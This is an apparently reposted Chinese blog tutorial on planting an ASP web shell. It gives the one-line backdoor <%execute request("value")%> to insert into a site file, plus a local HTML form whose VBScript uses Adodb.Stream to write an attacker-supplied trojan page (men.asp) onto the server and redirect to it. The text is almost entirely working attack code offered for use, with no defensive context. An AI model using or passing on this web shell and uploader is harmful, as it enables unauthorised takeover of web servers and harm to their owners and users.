文章來源：小鳥的blog

首先在asp文件中寫如<%execute request("value")%>代碼

然后在本地寫個表單



<form action=http://www.bingke.net/asp.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("hackbin")
lP.SaveToFile server.mappath("men.asp"),2
lP.Close
set lP=nothing
response.redirect "men.asp"
</textarea>
<textarea name=hackbin cols=120 rows=10 width=45>添入生成木馬的內容</textarea><BR><center><br>
<input type=submit value=提交>

保存為htm文件，把http://www.bingke.net/asp.asp

替換成你插入<%execute request("value")%>的文件，然后點提交直接跳轉到木馬